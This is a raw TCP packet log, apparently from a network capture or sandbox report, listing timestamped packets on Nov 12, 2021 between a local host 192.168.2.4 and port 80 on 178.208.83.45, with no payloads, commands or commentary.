Nov 12, 2021 22:24:28.359719992 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.359852076 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.474190950 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.474492073 CET	50166	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.475765944 CET	50168	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.496588945 CET	80	50167	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.496665955 CET	50167	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.496733904 CET	80	50166	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.497172117 CET	50166	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.497936964 CET	80	50168	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.498044968 CET	50168	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.498806953 CET	50168	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.521034956 CET	80	50168	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.524260044 CET	80	50168	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.524410009 CET	50168	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.630178928 CET	50168	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.631793976 CET	50169	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.652462959 CET	80	50168	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.652678967 CET	50168	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.654109955 CET	80	50169	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.654254913 CET	50169	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.655658960 CET	50169	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.677958965 CET	80	50169	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.680962086 CET	80	50169	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.681078911 CET	50169	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.813886881 CET	50169	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.815824032 CET	50170	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.836338997 CET	80	50169	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.838053942 CET	80	50170	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.900654078 CET	50169	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.900785923 CET	50170	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.928795099 CET	50170	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:28.951176882 CET	80	50170	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:28.955473900 CET	80	50170	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.071316957 CET	50170	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.241111994 CET	50170	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.243303061 CET	50171	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.263525009 CET	80	50170	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.263606071 CET	50170	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.265784025 CET	80	50171	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.265902042 CET	50171	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.266880989 CET	50171	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.289356947 CET	80	50171	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.297665119 CET	80	50171	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.306667089 CET	50171	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.432710886 CET	50171	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.436095953 CET	50173	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.437021971 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.455246925 CET	80	50171	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.455393076 CET	50171	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.458389044 CET	80	50173	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.459204912 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.459280014 CET	50173	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.459292889 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.459811926 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.459916115 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.460105896 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.460241079 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.461476088 CET	50173	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.482386112 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482410908 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482604980 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482625961 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482644081 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482691050 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482709885 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482748032 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482764959 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482779026 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482795000 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.482814074 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.483803034 CET	80	50173	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.484323025 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.506618023 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506684065 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506701946 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506716967 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506732941 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506773949 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506789923 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506807089 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506822109 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506855965 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506871939 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506934881 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506952047 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506968975 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.506983995 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.507002115 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.507018089 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.507054090 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.507071972 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.508343935 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.530769110 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530797005 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530807972 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530819893 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530833960 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530849934 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530864954 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530879974 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530895948 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530910015 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530939102 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.530955076 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531022072 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531066895 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531085014 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531100035 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531115055 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531147003 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531161070 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531176090 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531192064 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531205893 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531220913 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531270027 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531285048 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531300068 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531315088 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531328917 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531343937 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531390905 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531516075 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531534910 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531549931 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531564951 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.531579971 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.533066988 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.534190893 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.534219027 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.534235001 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556519032 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556552887 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556570053 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556585073 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556601048 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556616068 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556631088 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556646109 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556660891 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556672096 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556682110 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.556695938 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.558146000 CET	80	50173	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.558727026 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.567974091 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.568094969 CET	50173	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.688487053 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.690088987 CET	50173	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.691085100 CET	50175	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.711769104 CET	80	50174	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.711862087 CET	50174	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.712387085 CET	80	50173	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.712940931 CET	50173	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.713326931 CET	80	50175	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.716499090 CET	50175	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.717760086 CET	50175	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.741317034 CET	80	50175	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.834016085 CET	80	50175	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.838258028 CET	50175	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.961792946 CET	50175	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.963398933 CET	50176	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.984844923 CET	80	50175	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.985006094 CET	50175	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.985685110 CET	80	50176	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:29.985810995 CET	50176	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:29.986485004 CET	50176	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.008721113 CET	80	50176	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.094290972 CET	80	50176	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.094507933 CET	50176	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.208386898 CET	50176	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.210315943 CET	50177	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.230806112 CET	80	50176	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.230916977 CET	50176	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.233043909 CET	80	50177	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.233186007 CET	50177	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.234415054 CET	50177	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.257018089 CET	80	50177	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.354269028 CET	80	50177	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.354419947 CET	50177	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.476887941 CET	50177	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.477569103 CET	50178	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.499488115 CET	80	50177	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.499577999 CET	50177	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.499835014 CET	80	50178	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.499933004 CET	50178	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.500457048 CET	50178	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.523319006 CET	80	50178	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.609862089 CET	80	50178	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.609924078 CET	50178	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.725554943 CET	50178	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.733309984 CET	50179	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.747982979 CET	80	50178	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.748126030 CET	50178	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.755702972 CET	80	50179	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.755898952 CET	50179	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.756516933 CET	50179	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.778793097 CET	80	50179	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.784336090 CET	80	50179	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.784472942 CET	50179	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.869596004 CET	50179	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.870696068 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.891990900 CET	80	50179	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.892074108 CET	50179	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.893132925 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.893337965 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.894165039 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.894665956 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.894855022 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.894953012 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.896914959 CET	50181	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.916486979 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.916815042 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917257071 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917274952 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917288065 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917299986 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917327881 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917340994 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917350054 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917351961 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.917361975 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917395115 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.917406082 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917418957 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.917474985 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.917495966 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.917522907 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.919137955 CET	80	50181	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.919255018 CET	50181	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.920149088 CET	50181	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.939702988 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939723969 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939749002 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939757109 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939764023 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939776897 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939785004 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939793110 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939800024 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939809084 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939821005 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939830065 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939836979 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939847946 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939912081 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939951897 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939965010 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939973116 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939980984 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.939999104 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.940057993 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.940072060 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.940082073 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.942595005 CET	80	50181	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.942708015 CET	80	50181	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.942732096 CET	80	50181	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.942800999 CET	50181	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.942837954 CET	50181	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.962440968 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962466002 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962474108 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962487936 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962500095 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962512016 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962521076 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962529898 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962538004 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962548018 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962555885 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962568998 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962605953 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962620020 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962630987 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962645054 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.962661982 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962675095 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962685108 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962696075 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962745905 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962758064 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962759018 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:30.962789059 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962837934 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962850094 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962860107 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962872982 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.962884903 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.963030100 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.963041067 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.963048935 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.963061094 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.963072062 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.963079929 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.963092089 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.963150024 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.984965086 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.984987974 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.984996080 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985022068 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985035896 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985105991 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985112906 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985161066 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985168934 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985233068 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985260963 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985270023 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.985286951 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.989217043 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:30.989487886 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.052715063 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.053399086 CET	50181	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.055392027 CET	50182	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.075110912 CET	80	50180	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.075222969 CET	50180	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.075599909 CET	80	50181	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.075686932 CET	50181	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.077728033 CET	80	50182	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.077908993 CET	50182	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.078808069 CET	50182	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.101128101 CET	80	50182	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.106281996 CET	80	50182	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.106372118 CET	50182	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.223562002 CET	50182	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.224822044 CET	50183	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.245975018 CET	80	50182	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.246084929 CET	50182	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.247195959 CET	80	50183	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.247390032 CET	50183	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.248143911 CET	50183	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.270426035 CET	80	50183	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.273669958 CET	80	50183	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.273880959 CET	50183	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.381073952 CET	50183	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.382200956 CET	50184	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:31.403610945 CET	80	50183	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.404594898 CET	80	50184	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:31.404769897 CET	50183	80	192.168.2.4	178.208.83.45
